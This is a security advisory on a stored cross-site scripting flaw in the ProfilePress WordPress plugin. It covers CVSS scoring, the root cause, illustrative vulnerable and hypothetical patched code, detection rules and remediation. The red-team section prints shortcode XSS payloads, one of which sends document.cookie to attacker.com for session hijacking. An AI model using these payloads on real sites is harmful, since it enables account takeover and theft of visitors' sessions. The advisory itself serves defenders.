CVE-2024-1570

Executive Summary

CVE-2024-1570 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.14.4. The flaw resides in the login-password shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as a WordPress ecosystem issue, as it is a plugin-specific flaw. The CVSS score of 6.4 (Medium) reflects the need for authentication and user interaction, but the impact is amplified by the stored nature of the XSS, which can persist across sessions.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. ProfilePress is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct denial of service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can be used to target higher-privileged users (e.g., admins) for privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the login-password shortcode, which is part of the ProfilePress plugin's user registration and login functionality. The shortcode accepts attributes such as class, placeholder, and value. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript into these attributes.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to escape attributes that are rendered directly into the HTML without proper context-aware escaping. Specifically, the class attribute is often rendered without escaping, allowing an attacker to break out of the attribute context and inject event handlers like onfocus or onmouseover.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page.
2. The attacker inserts the [login-password] shortcode with a malicious attribute, e.g., [login-password class="test\" onfocus=\"alert(1)\" autofocus=\"true"].
3. When a victim (including admins) views the page, the injected script executes in their browser context.
4. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (ProfilePress <= 4.14.4):

// In shortcode handler, e.g., src/Shortcode/LoginPasswordShortcode.php
public function render($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'placeholder' => 'Password',
    ), $atts);
    // Direct output without escaping
    return '<input type="password" class="' . $atts['class'] . '" placeholder="' . $atts['placeholder'] . '" />';
}

Patched Code (Hypothetical fix):

public function render($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'placeholder' => 'Password',
    ), $atts);
    // Properly escape attributes
    $class = esc_attr($atts['class']);
    $placeholder = esc_attr($atts['placeholder']);
    return '<input type="password" class="' . $class . '" placeholder="' . $placeholder . '" />';
}

Key Difference: The patched version uses esc_attr() to escape the class attribute, preventing attribute injection. Additionally, the placeholder attribute should also be escaped to prevent XSS in other contexts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with ProfilePress plugin <= 4.14.4.
• An authenticated user account with Contributor-level permissions.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [login-password class="test\" onfocus=\"alert(document.cookie)\" autofocus=\"true"]
   

4. Publish the post.
5. Send the link to a victim (e.g., an admin).
6. When the victim views the page, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

[login-password class="test\" onfocus=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" autofocus=\"true"]

Note: No public exploit code is available for this CVE. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the [login-password] shortcode with suspicious attributes (e.g., onfocus, onmouseover, autofocus).
• Use Web Application Firewall (WAF) rules to block shortcode attributes containing event handlers.
• Review user activity logs for unusual shortcode usage by low-privileged users.

Hardening:

• Apply the principle of least privilege: restrict Contributor-level users from publishing posts without review.
• Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified or new posts/pages containing the [login-password] shortcode with event handler attributes.
• Suspicious entries in the wp_posts table with post_content containing onfocus, onmouseover, or autofocus.

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?cookie=...).
• Unusual referrer headers in web server logs indicating crafted shortcode usage.

Log IOCs:

• WordPress debug log entries showing unexpected shortcode attribute values.
• WAF logs blocking requests with XSS patterns in shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2024_1570_ProfilePress_XSS {
    meta:
        description = "Detects stored XSS payloads in ProfilePress login-password shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1570"
    strings:
        $shortcode = /\[login-password[^\]]*class\s*=\s*["'][^"']*["'][^\]]*\]/ nocase
        $event_handler = /on(focus|mouseover|load|error|click)\s*=\s*["'][^"']*["']/ nocase
        $autofocus = /autofocus\s*=\s*["']?true["']?/ nocase
    condition:
        $shortcode and ($event_handler or $autofocus)
}

Sigma Rule

title: CVE-2024-1570 ProfilePress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in ProfilePress login-password shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'login-password'
            - 'onfocus'
            - 'onmouseover'
            - 'autofocus'
    condition: selection
falsepositives:
    - Legitimate use of autofocus attribute (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1570 ProfilePress Stored XSS Attempt"; flow:to_server,established; content:"login-password"; http_uri; content:"onfocus"; http_uri; nocase; content:"autofocus"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ProfilePress plugin until a patch is released.
2. Review and remove any posts/pages containing the [login-password] shortcode with suspicious attributes.
3. Audit user accounts for unauthorized Contributor-level access.

Long-Term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.

Workaround:

• Modify the plugin code to escape the class attribute using esc_attr() (see patched code example).
• Restrict shortcode usage to administrators only via WordPress capabilities.

Valters IT
Securing Digital Frontiers